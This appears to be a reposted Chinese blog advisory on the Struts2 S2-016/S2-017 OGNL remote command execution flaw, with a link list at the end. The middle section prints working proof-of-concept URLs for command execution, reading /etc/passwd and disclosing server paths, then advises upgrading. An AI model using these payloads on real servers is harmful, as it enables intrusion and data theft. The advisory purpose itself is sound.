从7.17号开始,乌云网(www.wooyun.org)开始爆各大网站的struts漏洞。


关于Struts

Struts 框架是Apache基金会Jakarta项目组的一个 Open Source项目,它采用MVC模式,帮助 java 开发者利用J2EE开发Web应用。Struts 框架广泛应用于运营商、政府、金融行业的门户网站建设,作为网站开发的底层模板使用,目前大量开发者利用J2EE开发Web应用的时候都会利用这个框架。

Apache Struts2 框架在2010年被发现存在一个严重命令执行漏洞(CVE-2010-1870)。近期,一系列针对此漏洞的自动化检测、利用工具在网络上公开,大大降低了利用难度。目前大量使用Struts2框架编写的网站被发现受此漏洞影响,并已在互联网上公开,这可能造成这些网站被控制、敏感数据被泄漏。使用该框架的企业包括了很多知名企业,如:淘宝,京东,腾讯,华为等,波及到了诸多互联网公司。

漏洞说明

关于这次struts2远程命令执行漏洞(s2-016,s2-017),官方是这样描述这个漏洞产生原因的:

Struts2的DefaultActionMapper类支持一种方法,可以使用”action:”, “redirect:” , “redirectAction:”对输入信息进行处理,从而改变前缀参数,这样操作的目的是方便表单中的操作。在2.3.15.1版本以前的struts2中,没有对”action:”, “redirect:” , “redirectAction:”等进行处理,导致OGNL表达式可以被执行。

详细的OGNL

官方公布的漏洞利用poc细节如下:

1. 简单表达式,OGNL表达式被求值

http://host/struts2-blank/example/X.action?action:%25{3*4}

http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

2. 命令执行

1)http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}

2)http://host/struts2-blank/example/X.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}

3)http://host/struts2-blank/example/X.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}

4)http://host/struts2-blank/example/X.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{‘cat’,'/etc/passwd’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

3. 爆物理路径

http://host/struts2-blank/example/X.action?redirect:${%23a%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%23b%3d%23a.getRealPath(“/”),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()}

以上方法仅供学习,不用于其他用途。

漏洞修复建议

官方强烈建议升级到struts2 2.3.15.1,该版本包含校正过的struts2核心库。

===========================

关注微信“zzzmmmkkk”,不定期吐槽有关测试技术,测试经验,测试思考和生活感悟等。

互联网惨遭Struts高危漏洞摧残相关推荐

  1. 灾难日:中国互联网惨遭Struts2高危漏洞摧残

    灾难日:中国互联网惨遭Struts2高危漏洞摧残 2013-07-18 11:25:37    41798 人阅读   作者: 萧萧 编辑:萧萧[ 爆料]   评论(13) Struts是Apache ...

  2. 移动互联网新协议 GTP 中被曝多个高危漏洞,影响4G和5G 用户

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 Positive Technologies 公司上周发布报告<2020年 LTE 和5G 网络中的漏洞>指出,移动网络运营 ...

  3. 工业互联网巨头 GE Digital 修复SCADA 软件中的两个高危漏洞

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 GE Digital 发布补丁和缓解措施,解决了影响 Proficy CIMPLICITY HMI/SCADA 软件的两个高危漏洞.该软件用于全 ...

  4. Struts 2再爆高危漏洞CVE-2017-5638 绿盟科技发布免费扫描工具及产品升级包

    Apache Structs2的Jakarta Multipart parser插件存在远程代码执行漏洞,漏洞编号为CVE-2017-5638.cwiki.apache.org公告了这个信息. 绿盟科 ...

  5. struts 2 漏洞学习总结

    struts2最近几个漏洞分析&稳定利用payload http://drops.wooyun.org/papers/902 0x00 背景 看到网上关于struts2利用的文章非常多,但是对 ...

  6. 在50亿信息泄露事件面前,Struts 2 漏洞和CIA泄密都是小事 | 宅客周刊

    1.一份数据告诉你,被万年漏洞王 Struts2 坑了的网站有哪些 pache Struts2 作为世界上最流行的 Java Web 服务器框架之一,3 月 7 日带来了本年度第一个高危漏洞--CVE ...

  7. 【高危】Strurs2又现高危漏洞(附PocExp)

    话说今天早上,一个名为str2-045的漏洞成了大家的讨论焦点,那么这个str2-045到底是个什么鬼? 这个漏洞的全名啊,叫做:基于 Jakarta plugin插件的Struts远程代码执行漏洞. ...

  8. 协议关键技术_现代通信协议存高危漏洞 或殃及4G和5G手机

    [PConline 资讯]近日,我们从网络安全公司Positive Technologies发布的<2020年LTE和5G网络漏洞>报告中看到,当前移动网络运营商使用的现代通信协议中存在高 ...

  9. iPhone11因便宜销量超预期;三星手机曝高危漏洞;xUtils 3.8.3发布 | 极客头条

    快来收听极客头条音频版吧,智能播报由标贝科技提供技术支持. 「CSDN 极客头条」,是从 CSDN 网站延伸至官方微信公众号的特别栏目,专注于一天业界事报道.风里雨里,我们将每天为朋友们,播报最新鲜有 ...

最新文章

  1. StaticFactoryMethod_Level1
  2. xend: No such file or directory. Is xend running? 问题
  3. composer安装laravel
  4. 如何在 ASP.NET Core 中为同一接口配置不同的实现
  5. django-正向查询与反向查询演练-查询集的三种状态
  6. Python中类和对象的概念,面向对象编程
  7. python解密m3u8播放_Python3 通过m3u8连接获取完整媒体文件(附全网视频VIP观看方法)...
  8. Object中Equals和ReferenceEquals不解之谜
  9. InnoDB 存储引擎(8)——InnoDB 存储引擎文件
  10. 【第三方互联】7、注册成为新浪微博(sina)开发者
  11. 快手Android一面复盘
  12. Unity3D模型中的SubMesh
  13. Xposed框架初次见面-开发自己的Xposed插件
  14. Java:现实世界中最流行的10个Java应用程序示例
  15. C++位运算:与,或,非( , | , !)
  16. 朴素贝叶斯法 - 垃圾邮件分类
  17. python屏幕找图_Python图片识别找坐标(appium通过识别图片点击坐标)
  18. sqlzoo 答案全集
  19. 跨境电商erp系统是什么?
  20. win11时钟没有秒解决方法

热门文章

  1. 《Typecript 入门教程》 2、访问控制符:public、private、protected、readonly
  2. Oracle表空间管理
  3. 记录一次git的误删除操作--恢复
  4. linux释放内存脚本
  5. VisualStudio:WEB 性能测试和负载测试 入门
  6. vmware无法打开ubuntu解决办法
  7. python中的tuple_python 数据类型 - tuple
  8. 当下常用的webpack版本_细说 webpack系列 1. 为什么要选择 webpack
  9. 树莓派python3_树莓派4没有python3怎么办
  10. python的这几个小功能,你都会用了吗?